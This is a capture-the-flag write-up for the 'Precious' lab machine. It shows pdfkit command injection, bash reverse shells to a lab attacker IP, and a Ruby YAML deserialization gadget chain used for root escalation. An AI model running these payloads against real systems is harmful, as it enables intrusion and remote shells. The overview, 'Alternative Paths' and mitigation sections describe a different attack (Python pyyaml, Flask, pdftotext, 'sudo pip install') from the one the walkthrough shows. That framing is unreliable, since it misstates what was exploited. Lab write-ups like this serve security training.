Precious

Precious focuses on a server running a vulnerable document conversion utility.

Initial access was obtained via a file upload form that executed user-supplied YAML, leading to arbitrary code execution through Python’s pyyaml.load.

The foothold required crafting a serialized payload disguised as a legitimate document.

Escalated to root by exploiting sudo pip install to execute a malicious Python module placed in the working directory.

Why I Chose This Machine

I chose Precious because it combines a web-based file parsing vulnerability (PDF rendering) with local Python privilege escalation — a realistic scenario in CI pipelines and dev tools.
It also demonstrates how pip install can become a root vector if misconfigured.

Attack Flow Overview

  1. Uploaded a malicious PDF to a Flask-based web app that rendered it using pdftotext
  2. Achieved RCE and got an initial shell as a low-privileged user
  3. Discovered sudo pip install was allowed without password
  4. Placed a fake Python module in the current directory and triggered it via pip install ., leading to root access

This flow mirrors real-world security gaps in development environments and CI tools.

Enumeration

  • Testing the form for command injection works, and downloads a pdf file.
  • Using exiftool to view metadata of the downloaded pdf file, pdfkit v0.8.6 is revealed.

Nmap

Nmap scan report for 10.10.11.189
Host is up, received user-set (0.019s latency).
Scanned at 2024-07-05 06:58:11 AEST for 17s
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
...
80/tcp open  http    syn-ack nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80-HTTP

Gobuster

gobuster vhost -u http://precious.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 

Web

screenshot

Burpsuite

screenshot

Form testing

screenshot

screenshot

screenshot

screenshot

downloads a pdf file.

screenshot

Initial Access

Following the PoC for pdfkit v0.8.6 gains initial shell as ruby user. - Start a local python server, perform command injection for reverse shell.

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

screenshot

# modified payload
http://10.10.14.16/www/%20`bash -c 'bash -i >& /dev/tcp/10.10.14.16/9001 0>&1'`

screenshot

screenshot

Lateral Movement

  • /.bundle/conf within the ruby user’s home folder contains credentials for henry user.
  • SSH as henry.

screenshot

SSH as henry

screenshot

Privilege Escalation

  • sudo -l
  • Henry user has privileges to run ruby script.
  • The ruby script does not execute because dependencies.yml is missing.
  • Searching for ruby dependencies.yml exploit returns many relevant results.
  • Add reverse shell code to the payload and execute the ruby script.

screenshot

screenshot

YAML.load(File.read("dependencied.yml"))

screenshot

dependencies.yml

screenshot

Payload reference

screenshot

Payload dependencies.yml

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: http://10.10.14.16/www/%20`bash -c 'bash -i >& /dev/tcp/10.10.14.16/9002 0>&1'`
         method_id: :resolve

screenshot

screenshot

Alternative Paths Explored

Tried to gain access via local file inclusion and log poisoning, but neither worked.
Also checked for writable SUID binaries and exposed sockets, which were secure.
The sudo -l check revealing pip install was the key escalation point.

Blue Team Perspective

Precious shows how insecure handling of pip and dynamic imports can be leveraged for privilege escalation.
To mitigate:

  • Never allow sudo pip install without password
  • Use virtual environments and restrict PYTHONPATH influence
  • Sanitize upload handlers and isolate renderers like pdftotext